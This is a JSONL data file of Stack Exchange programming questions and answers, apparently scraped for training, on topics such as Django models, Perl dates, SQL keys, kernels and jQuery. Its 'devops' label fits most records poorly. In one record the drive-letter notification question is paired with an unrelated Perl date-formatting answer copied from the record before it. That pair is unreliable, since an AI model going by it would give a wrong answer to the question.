{"id": "hf_996efe06b9c3", "question": "<p>I'd like to create a subset of Users that don't have a login... basically as a way to add a photographer field to photos without having a full blown account associated with that person (since in many cases, they'll never actually log in to the site). A caveat is that I'd also like to be able to enable an account for them later.</p>\n\n<p>So, I think the question becomes what's the best way to set up a \"People\" table that ties to the User table without actually extending the User table with UserProfile.</p>\n", "question_body": "", "answer": "A\nuser profile\n(as returned by\n```\ndjango.contrib.auth.models.User.get_profile\n```\n) doesn't extend the User table - the model you specify as the profile model with the\n```\nAUTH_PROFILE_MODULE\n```\nsetting is just a model which has a\n```\nForeignKey\n```\nto\n```\nUser\n```\n.\n```\nget_profile\n```\nand the setting are really just a convenience API for accessing an instance of a specific model which has a\n```\nForeignKey\n```\nto a specific\n```\nUser\n```\ninstance.\nAs such, one option is to create a profile model in which the\n```\nForeignKey\n```\nto\n```\nUser\n```\ncan be\n```\nnull\n```\nand associate your\n```\nPhoto\n```\nmodel with this profile model instead of the\n```\nUser\n```\nmodel. This would allow you to create a profile for a non-existent user and attach a registered User to the profile at a later date.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.826790"}
{"id": "hf_7cd656a55052", "question": "<p>How can I elegantly print the date in RFC822 format in Perl?</p>\n", "question_body": "", "answer": "```\n```\nuse POSIX qw(strftime);\nprint strftime(\"%a, %d %b %Y %H:%M:%S %z\", localtime(time())) . \"\\n\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.863035"}
{"id": "hf_ea43dd9d1923", "question": "<p>Is it possible to get notified (without polling, but via an event) when a drive letter becomes accessible. For example if you have an external hard drive that always appears as drive F - is it possible to have an event raised when that is connected and F becomes accessible?</p>\n", "question_body": "", "answer": "```\n```\nuse POSIX qw(strftime);\nprint strftime(\"%a, %d %b %Y %H:%M:%S %z\", localtime(time())) . \"\\n\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.886790"}
{"id": "hf_655909c65a3d", "question": "<p>I've managed to mostly ignore all this multi-byte character stuff, but now I need to do some UI work and I know my ignorance in this area is going to catch up with me! Can anyone explain in a few paragraphs or less just what I need to know so that I can localize my applications? What types should I be using (I use both .Net and C/C++, and I need this answer for both Unix and Windows).</p>\n", "question_body": "", "answer": "Check out Joel Spolsky's\nThe Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!)\nEDIT 20140523\n: Also, watch\nCharacters, Symbols and the Unicode Miracle\nby Tom Scott on YouTube - it's just under ten minutes, and a wonderful explanation of the brilliant 'hack' that is UTF-8", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.935010"}
{"id": "hf_5abff30f7251", "question": "<p>I get the Total length of columns in constraint is too long. erro from the following</p>\n\n<pre><code>sql] Failed to execute:   CREATE TABLE GTW_WORKFLOW_MON ( WORKFLOW_NAME VARCHAR(255) NOT\nNULL, WORKFLOW_LOADED NUMERIC(20) NOT NULL, ACTIVITY_NAME VARCHAR(255) NOT NULL, FLAGS    \nINTEGER NOT NULL, MONITOR_NAME VARCHAR(255) NOT NULL, CLASSNAME VARCHAR(255) NOT NULL, S\n\nTR0 VARCHAR(255), STR1 VARCHAR(255), STR2 VARCHAR(255), NUM0 VARCHAR(255), NUM1 \nVARCHAR(255), NUM2 VARCHAR(255), DATE0 VARCHAR(255), DATE1 VARCHAR(255), DATE2 \nVARCHAR(255), PRIMARY KEY (WORKFLOW_NAME,WORKFLOW_LOADED,ACTIVITY_NAME,MONITOR_NAME) )\n\n  [sql] java.sql.SQLException: Total length of columns in constraint is too long.\n</code></pre>\n", "question_body": "", "answer": "Your primary key constraint is 785 bytes (255+20+255+255).  If you increase your database page size to 4K it should work, barely.  You should also reconsider if you need your columns to be as wide as you are defining them.\nI found a discussion group where an engineer, Radhika Gadde,\ndescribes\nthat the maximum index size is related to page size.  He says:\nwhich error you are getting while creation of Tables.\nMaximum Index key length can be calculated as follows:\n[(PAGESIZE -93)/5] -1\nlike for 2k it is\n[( 2048-93)/5] -1 =[1955/5] -1 =391-1=390\nif PAGESIZE is 4K\nit is [(4096-93)/5] -1 =4003/5-1=800-1 =799", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.982090"}
{"id": "hf_d4f49eb26609", "question": "<p>For development, I use a local LAMP stack, for production I'm using <a href=\"http://mediatemple.net/webhosting/gs/django.html\" rel=\"noreferrer\">MediaTemple's Django Container</a> (which I'm loving BTW).  MT's container uses lighthttpd.  Honestly I've never had any other experience with it. I've always used Apache. I've been doing some reading:</p>\n\n<ul>\n<li><a href=\"http://www.onlamp.com/pub/a/onlamp/2007/04/05/the-lighttpd-web-server.html\" rel=\"noreferrer\">Onlamp</a></li>\n<li><a href=\"http://weblog.textdrive.com/article/25/should-i-consider-lighttpd\" rel=\"noreferrer\">TextDrive</a></li>\n<li><a href=\"http://www.linux.com/feature/51673\" rel=\"noreferrer\">Linux.com</a></li>\n</ul>\n\n<p>Here's are questions:</p>\n\n<ul>\n<li>What strengths does one have over the other?</li>\n<li>Would it <em>benefit</em> me to use lighthttpd on my dev setup?</li>\n<li>What's up with using both?  The Linux.com article talks about using lighttpd <em>with</em> Apache.</li>\n</ul>\n", "question_body": "", "answer": "The benefit of both: Apache is more powerful and extensible (useless if you don't need that power, but anyway...) and lighttpd is faster at static content. The idea is of splitting your site into static content (css, js, images, etc) and dynamic code that flows through Apache.\nI'm not saying you can't do a lot with lighttpd on its own. You can and people do.\nIf you're using lighttpd exclusively on your production server, I would seriously consider mirroring that on your development and staging servers so you know exactly what to expect before you deploy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.005747"}
{"id": "hf_88f4418e78bb", "question": "<p>I am working on a web-application in which dynamically-created images are used to display information. This data is currently sent to the images using a GET query-string but with more complex images and data I am worried about running into problems with the url character limit.</p>\n\n<p>I could simply pass the record ID to the image and have this query the database but this would obviously increase demand on the server. Is there some way I could add an image retrieved using POST into a HTML document?</p>\n", "question_body": "", "answer": "In the end, I think quering the database will probably be faster. To get a small string (say up to 2000 characters) from the database is very quick and probably faster than having the user post it all the time, especially if there is more than 1 on a page.\nThe best option would be create the image once and cache it if it doesn't change. When the image is requested again, check to see if it's cached and just use readfile() to send it to the browser. I like to store the cached image outside the doc root so it's not accessible by others, but this may not be a factor in what you're doing (both caching and privacy).\nThe SESSION might be an option, but this is the best option when you need to regenerate the image on multiple pages with slight changes, so you don't have query the db each time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.065658"}
{"id": "hf_933856cce986", "question": "<p>Where can I find a list of all types of bsd style socket errors?</p>\n", "question_body": "", "answer": "You can also find a list of error codes (and a general description of their meaning) on the Open Group's pages for each function (like\nconnect\n, for example).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.089388"}
{"id": "hf_133484cc5592", "question": "<p>We're starting a large web project, mostly green field. I like the Tapestry framework for java/web solutions. I have concerns about starting a Tapestry 5 project since T5 is still in beta. However, if I understand the documentation correctly, T4 development will not be supported by T5 and up. My question: Should I begin a large project for a large company with T5? If not, with the imminent release of T5, should I ignore T4 altogether?</p>\n", "question_body": "", "answer": "T5 is in the last beta, the next release is RC, and then the full release. according to howard, things should be done by the end of october. so, if you're starting the project, i believe the framework will catch you with its release.\nanother thing, the betas are pretty quality products, howard does the great job with his framework. at my now previous company, there is a project started in september based on tapestry 5, a colleague managed to get a working example pretty quickly and it seems okay. we worked with tapestry 4 on a previous project, and when the question raised about which version to choose, the fact that T4 will be abandoned in favor of T5, and much changes in the framework concept itself, the counclusion was it's much better for a developer new in tapestry to learn new version immidiately (also, if i were to stay, i was interested in switching to T5 also as soon as possible, because i see a quality improvement in the T5 concepts compared to T4 which i worked with).\nof course, you have your deadlines and project limitations which you have to take into account. if it's rather flexibile, or long-lasting project, maybe get a quick start of T5 for a week, and then decide based on your experience with it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.128773"}
{"id": "hf_99f78e831df5", "question": "<p>I've got a few hundred computers running an app.  On one computer, I've seen two instances of a single bit being incorrectly set on some strings that I pull out of SQLite.  If this was my dev computer I would assume I have a bug somewhere, but there is certainly some number of installations at which point I'll start seeing rare hardware based errors.</p>\n<p>This is certainly dependent on how much IO I do, but are there any rules of thumbs for when there is a decent chance of seeing this kind of thing?  For example, for TCP packets, <a href=\"http://portal.acm.org/citation.cfm?doid=347059.347561\" rel=\"nofollow noreferrer\">this paper</a> determined that silent, undetected corruption will occur in &quot;roughly 1 in 16 million to 10 billion packets&quot;.</p>\n<p>Unfortunately, running a mem/disk checker on the machine in question is not likely to happen.</p>\n", "question_body": "", "answer": "When I notice strange things happening, my strategy is:\ncheck if there is a bug\nin the code\ncheck if there is a bug in the used library/tool (SQLite, here)\ncheck if there is a bug\nin the compiler\nthen, and only then, check for hardware faults\nIn my 10 years-long career, 99,99% of bugs were software related.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.165095"}
{"id": "hf_0ae0a3122300", "question": "<p>I'd like to zoom and unzoom in ways the base class doesn't support.</p>\n\n<p>For instance, upon receiving a double tap.</p>\n", "question_body": "", "answer": "I'm answering my own question, after playing with things and getting it working.\nApple has a very-simple example of this in their documentation on how to handle double taps.\nThe basic approach to doing programmatic zooms is to do it yourself, and then tell the UIScrollView that you did it.\nAdjust the internal view's frame and bounds.\nMark the internal view as needing display.\nTell the UIScrollView about the new content size.\nCalculate the portion of your\ninternal view that should be\ndisplayed after the zoom, and have\nthe UIScrollView pan to that\nlocation.\nAlso key: once you tell the UIScrollView about your new contents size it seems to reset its concept of the current zoom level.  You are now at the new 1.0 zoom factor.  So you'll almost certainly want to reset the minimum and maximum zoom factors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.214650"}
{"id": "hf_31c330671db8", "question": "<p>I've written up a weekly-review GTD checklist for myself in TiddlyWiki, using <a href=\"http://www.tiddlytools.com/#CheckboxPlugin\" rel=\"nofollow noreferrer\">CheckboxPlugin</a>. After I'm finished with it each week, I'd like to click one link to uncheck (reset) all of the items on it, so it's ready for the next use.</p>\n\n<p>I'm storing the check information as tags on a separate tiddler page. I should be able to just erase all the tags on that page and refresh the checklist page, but I haven't been able to work out how to do that yet.</p>\n\n<p>I generally work in C, C++, and Lisp, I'm just learning about Javascript. Can anyone offer some useful pointers?</p>\n\n<p>(And before anyone suggests it, I've looked at the ChecklistScript on the same site. It doesn't use the CheckboxPlugin stuff, and isn't compatible with it.)</p>\n", "question_body": "", "answer": "Try this (adapted from ChecklistScript's \"resetall\" code):\n```\n```\n<html><form style=\"display:inline\">\n    <input type=\"button\" value=\"clear all\" onclick=\"\n        var tid='SomeTiddler';\n        var list='tag1 [[tag 2]] tag3 tag4';\n        var tags=list.readBracketedList();\n        store.suspendNotifications();\n        for (var t=0; t<tags.length; t++)\n            store.setTiddlerTag(tid,false,tags[t]);\n        store.resumeNotifications();\n        story.refreshTiddler(tid,null,true);\n\"></form></html>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.243187"}
{"id": "hf_b1c9c82e4a25", "question": "<p>What is the difference between <code>#include</code> and <code>#import</code> in C++?</p>\n", "question_body": "", "answer": "Import in VC++:\n```\n#import\n```\nis for type libraries or .tlbs (COM stuff).\nThe content of the type library is converted into C++ classes, mostly describing the COM interfaces for you automatically, and then it is included into your file.\nThe\n```\n#import\n```\ndirective was introduced by Microsoft as an extension to the C++ language.  You can read about it at\nthis MSDN article\n.\nThe\n```\n#import\n```\ndirective is also used with .NET / CLI stuff.\nImport in gcc:\nThe import in gcc is different from the import in VC++. It is a simple way to include a header at most once only.  (In VC++ and GCC you can do this via\n```\n#pragma\n```\nonce as well)\nThe\n```\n#import\n```\ndirective was officially undeprecated by the gcc team in version 3.4 and works fine 99% of the time in all previous versions of gcc which support\nInclude:\n```\n#include\n```\nis for mostly header files, but to prepend the content to your current file.\n```\n#include\n```\nis part of the C++ standard.  You can read about it at\nthis MSDN article\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.267318"}
{"id": "hf_d859678b45a8", "question": "<p>I've got a WCF Web Service method whose prototype is:</p>\n\n<pre><code>[OperationContract]\nResponse&lt;List&lt;Customer&gt;&gt; GetCustomers();\n</code></pre>\n\n<p>When I add the service reference to a client, Visual Studio (2005) creates a type called \"ResponseOfArrayOfCustomerrleXg3IC\" that is a wrapper for \"Response&lt;List&lt;Customer>>\".  Is there any way I can control the wrapper name?  ResponseOfArrayOfCustomerrleXg3IC doesn't sound very appealing...</p>\n", "question_body": "", "answer": "Yes. The OperationContractAttribute takes a parameter called Name. You could specify it like this:\n```\n```\n[OperationContract(Name = \"NameGoesHere\")]\nResponse<List<Customer>> GetCustomers();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.291957"}
{"id": "hf_9678f9e9bda3", "question": "<p>I have a stored procedure with the following header:</p>\n\n<pre><code>FUNCTION SaveShipment (p_user_id IN INTEGER, p_transaction_id IN INTEGER, p_vehicle_code IN VARCHAR2 DEFAULT NULL, p_seals IN VARCHAR2 DEFAULT NULL) RETURN INTEGER;\n</code></pre>\n\n<p>And I am having trouble running it from TOAD's Editor.  I cannot run it as part of a select from dual statement because it preforms DML, but if I try the following syntax which I saw recommended on some forum:</p>\n\n<pre><code>var c integer;\nexec :c := orm_helper.orm_helper.SAVESHIPMENT (9999, 31896, NULL, '');\nprint c;\n</code></pre>\n\n<p>I get:</p>\n\n<pre><code>ORA-01008: not all variables bound\nDetails:\nBEGIN :c := orm_helper.orm_helper.saveshipment (9999, 31896, null, ''); END;\nError at line 2\nORA-01008: not all variables bound\n</code></pre>\n\n<p>What's the proper syntax to run this sp manually?</p>\n", "question_body": "", "answer": "Are you calling the stored procedure from another SP?\nI think the syntax is (if I recall correctly):\n```\n```\ndeclare\n     c integer;\nbegin\n\nc:=storedProc(...parameters...);\n```\n```\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.315834"}
{"id": "hf_cbdc12b9e51a", "question": "<p>Is it possible to detect a valid regular expression with another regular expression?  If so please give example code below.</p>\n", "question_body": "", "answer": "Unlikely.\nEvaluate it in a\n```\ntry..catch\n```\nor whatever your language provides.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.362723"}
{"id": "hf_7eb01c828b87", "question": "<p>I'm sure this is a subject that's on most python developers' minds considering that Python 3 is coming out soon.  Some questions to get us going in the right direction:</p>\n\n<ol>\n<li><p>Will you have a python 2 and python 3 version to be maintained concurrently or will you simply have a python 3 version once it's finished?</p>\n\n<ul>\n<li>Have you already started or plan on starting soon?  Or do you plan on waiting until the final version comes out to get into full swing?</li>\n</ul></li>\n</ol>\n", "question_body": "", "answer": "Speaking as a library author:\nI'm waiting for the final version to be released. My belief, like that of most of the Python community, is that 2.x will continue to be the dominant version for a period of weeks or months. That's plenty of time to release a nice, polished 3.x release.\nI'll be maintaining separate 2.x and 3.x branches. 2.x will be backwards compatible to 2.4, so I can't use a lot of the fancy syntax or new features in 2.6 / 3.0. In contrast, the 3.x branch will use every one of those features that results in a nicer experience for the user. The test suite will be modified so that 2to3 will work upon it, and I'll maintain the same tests for both branches.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.386264"}
{"id": "hf_85f90df64d1b", "question": "<p>I'm working with a webservice that offers almost duplicated code across two namesspaces.  Lets say for example PigFeet and HorseFeet, both namespaces contain a Feet class and other code that works with the Feet class requires it to be part of that same namespace.</p>\n\n<p>Right now In my code I'm forced to do something like this:</p>\n\n<pre><code>if( _animalType == AnimalType.Pig )\n{ \n     //namespace is pigfeet\n     PigFeet.Feet feet = new Feet();\n     feet.WashFeet();\n}\n\nif( _animalType == AnimalType.Horse )\n{\n     //namespace is horsefeet\n     HorseFeet.Feet feet = new Feet();\n     feet.WashFeet();\n }\n</code></pre>\n\n<p>This is leaving me with lots of duplicated code.  Is there a way to choose a namespace more dynamically?</p>\n", "question_body": "", "answer": "In your namespace imports you can assign an\nalias\nto a specific namespace or member.\n```\n```\nusing PigFeet = PigFeet.Feet;\nusing HorseFeet = HorseFeet.Feet;\n\n//now your sample code should look something like\n\nif( _animalType == AnimalType.Pig )\n{ \n     //namespace is pigfeet\n     PigFeet feet = new PigFeet();\n     feet.WashFeet();\n}\n\nif( _animalType == AnimalType.Horse )\n{\n     //namespace is horsefeet\n     HorseFeet feet = new HorseFeet();\n     feet.WashFeet();\n }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.410502"}
{"id": "hf_05e4c52ee720", "question": "<p>I am writing a C# program which captures signals from a external device, and sends keystrokes to another application. I am using SendKeys and it works fine.</p>\n\n<p>SendKeys does \"press\" a key by holding and releasing it immediately. I would like to make it push key and release it at will.</p>\n\n<p>My question is : \"is there a way to send a \"push\" signal to a key, then a \"release\" signal after a certain amount of time ?\"</p>\n\n<p>I am not sure SendKeys is able to do this. Any clue ?</p>\n", "question_body": "", "answer": "I don't think it's possible from .NET directly\nYou could try using keybd_event native call by p/invoking the function as described here:\nhttp://pinvoke.net/default.aspx/user32.keybd_event\nThe MSDN for keybd_event is here:\nhttp://msdn.microsoft.com/en-us/library/ms646304(VS.85).aspx\nHope that helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.445254"}
{"id": "hf_932ca3210e60", "question": "<p>I've created a web page that lets you input some information and then draws an image in a canvas element based on that info.  I have it pretty much working the way I want except for the printing.</p>\n\n<p>Is there a way to print out the canvas element or is creating a new window to draw in, the only way to do it?</p>\n\n<p>Update:</p>\n\n<p>The answer was so simple.  I was thinking of a lot more complicated solution.  </p>\n\n<p>I wish I could pick more than 1 answer.  I wasn't able to get the canvas to print when I used * to disable display.  The simplest solution was to just turn off the form that I was using for input, using form {display:none;} in the CSS inside an @media print{}. Thanks for the quick response.</p>\n\n<pre><code>\n\n    @media print {\n           form {\n         display:none;\n       }\n    }\n\n</code></pre>\n", "question_body": "", "answer": "I'm not 100% sure of the support, but you can use CSS and put an attribute in the\n```\n<link>\n```\ntag for\n```\nmedia=\"print\"\n```\n. In this CSS file, just hide the elements you don't want to show while printing:\n```\ndisplay:none;\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.468854"}
{"id": "hf_6a3109e49aeb", "question": "<p>I understand that they are both supposed to be small, but what are the key differences between the two?</p>\n", "question_body": "", "answer": "Exokernel\nis an\noperating system from MIT\n(and a class of it's variants) which handles relatively little hardware abstraction.  In exokernel, the low-level responsibilities of controlling hardware (particularly\nmemory allocation\n) are often left in the hands of the developer.  Many developers would probably prefer to have the OS take more responsibility of such low-level tasks, because most developers are just writing applications.\nAn exokernel just\nallocates physical hardware resources to programs\n.  This allows the program to use library operating systems, which are linked in to provide some of the abstraction that the exokernel isn't providing.  The developer can then choose between abstraction models, or roll their own.  Given the application, this may have great performance benefits.  If you don't know what you're doing, you can also write programs that will explode when they crash.\nMost kernels will do more to\nabstract physical hardware\nresources into some kind of\ntheoretical model\n.  A developer interfaces with this model, which handles the finer points of dealing with hardware internally.\nThe term\nnanokernel\nis used to describe a specific\ntype of kernel\n.  The prefix \"pico-\", or \"nano-\", \"micro-\" is usually denoting the \"size\" of the kernel..\nBigger kernels\nare more built with more features, and\nhandle more hardware abstraction\n.  Nanokernels are relatively small kernels which\nprovide hardware abstraction\n, but\nlack system services\n.  Modern microkernels also lack system services, so the terms have become analogous.\nThe\nnames of kernels\nusually stem from a specific batch of research which yielded a new kind of kernel, for example the kernel developed at at Carnegie Mellon called \"Mach\", which was one of the first examples of a modern \"microkernel\".\nSidenote:\nThe real benefit of exokernel is choice.  Most of the time, a lot of abstraction means fewer catastrophic bugs.  In some applications, you might want to use a different abstraction model, or you might want to handle everything yourself.  If we wanted to scrap the OS abstraction for a particular project, we'd have to cut out the operating system and commit a piece of hardware to the job.  In the case of exokernel, this isn't necessary.  We can program directly \"to the metal\", but also choose to link in an abstraction model whenever we like.  It's a very powerful concept.\nSidenote\n: Dealing with memory on such a low level is unnecessary for most application developers.  There are usually several layers of operating system built on top of a kernel, and your application will run on the highest level of the OS.  When writing in javascript, you're higher up still, interfacing with a model implemented in an application which runs on an operating system, etc. etc.  Addressing memory, while it shouldn't be ignored, might mean something entirely different to a developer who is writing on such a high level of abstraction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.508270"}
{"id": "hf_7b29d401d2c7", "question": "<p>I have a method that takes an IQueryable. Is there a LINQ query that will give me back the size of each column in the IQueryable?</p>\n\n<p>To be more clear: this is Linq-to-objects.  I want to get the length of the ToString() of each \"column\".</p>\n", "question_body": "", "answer": "It depends.  If you mean is there a completely generic way to make this determination the answer is no.  All IQueryable will give access to is the Type of each expression.  There is no way to arbitrarily map a Type to a column size.\nIf on the other hand you have the ability to map a Type to members and member type to a column size then yes there is a way to get the size.\n```\n```\npublic IEnumerable GetColumnSize(IQueryable source)\n{\n  var types = MapTypeToMembers(source).Select(x => x.Type);\n  return types.Select(x => MapTypeToSize(x));\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.544347"}
{"id": "hf_a2d5b3bec3d1", "question": "<p>I have a multi-line string that I want to do an operation on each line, like so:</p>\n<pre><code>inputString = &quot;&quot;&quot;Line 1\nLine 2\nLine 3&quot;&quot;&quot;\n</code></pre>\n<p>I want to iterate on each line:</p>\n<pre><code>for line in inputString:\n    doStuff()\n</code></pre>\n", "question_body": "", "answer": "```\n```\ninputString.splitlines()\n```\n```\nWill give you a list with each item, the\n```\nsplitlines()\n```\nmethod is designed to split each line into a list element.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.612707"}
{"id": "hf_e30a2700e049", "question": "<pre><code>y: &amp;pause\ncd ptls5.0 &amp;pause\nsdp describe Integration.dpk &amp;pause\nz: &amp;pause\ncd ptls5.0 &amp;pause\ndir &amp;pause\n</code></pre>\n\n<p>I have those commands in the 1.cmd file. First three are executed fine. The result of it is that after \"sdp describe Integration.dpk &amp;pause\" is executed I'm given \"press any key to continue...\" after I hit any key. The command prompt quits. Instead of changing drive to z:>. What is  wrong with it?</p>\n", "question_body": "", "answer": "Is \"sdp\" another batch file itself? If so, you will need to use\n```\ncall\n```\n:\n```\n```\ncall sdp describe Integration.dpk &pause\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.647174"}
{"id": "hf_4c39feeeb4c6", "question": "<p>I like to read about new and clever algorithms. And I like to think out of the box, so all kinds of algorithms from all fields of computation are welcome.</p>\n\n<p>From time to time I read research papers to keep up with the current research and expand my horizon. I also like to learn new tricks. Unfortunately I tend to concentrate only on my field of interest, so I miss a lot of usefull stuff.</p>\n\n<p>Let's just not post mainstream things. Instead write about something special that made you think: \"Wow - now <em>that's</em> a clever solution!\".</p>\n", "question_body": "", "answer": "I'll start with something everyone can use: introspective sort.\nhttp://en.wikipedia.org/wiki/Introsort\nA new sort algorithms that combines the best of quick, insertion and heap sort. To be exact it's not a new algorithm by itself but a\nvery\nclever combination.\nYou get the speed of quick-sort up to the point where the quick-sort runs into the degenerated O(n²) case. That gets detected for almost no cost. The remaining partition get sorted using heap- or merge-sort. This not only avoids the degenerated case but creates an clear defined upper bound for stack-usage as well.\nInsertion sort takes - as usual - care about all small partitions that are left over from the quick-sort pass.\nFor me that was a new discovery because I stopped to use quick-sort for my applications.\nI do a lot of work on embedded devices and I do have to care about stack usage. Using quick-sort was always a bit risky because the faint chance that it runs amok on the stack. Even if you know that with the current data everything will be fine you never know if someone later cut'n'pastes your code into a different project and uses it for data it was never ment for.\nThanks to introspective sort I now have full control over the stack usage and get a performance boost as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.699743"}
{"id": "hf_ffb5736fbff4", "question": "<p>Last time <a href=\"https://stackoverflow.com/questions/169506/get-form-input-fields-with-jquery\">I asked about the reverse process</a>, and got some very efficient answers. I'm aiming for least lines of code here. I have a form of fields and an associative array in the {fieldname:data} format, I want to populate a corresponding form with it.</p>\n", "question_body": "", "answer": "If your form elements have their ID set to the fieldname:\n```\n```\n$.each(myAssocArry, function(i,val) { $('#'+i).val(val); });\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.735107"}
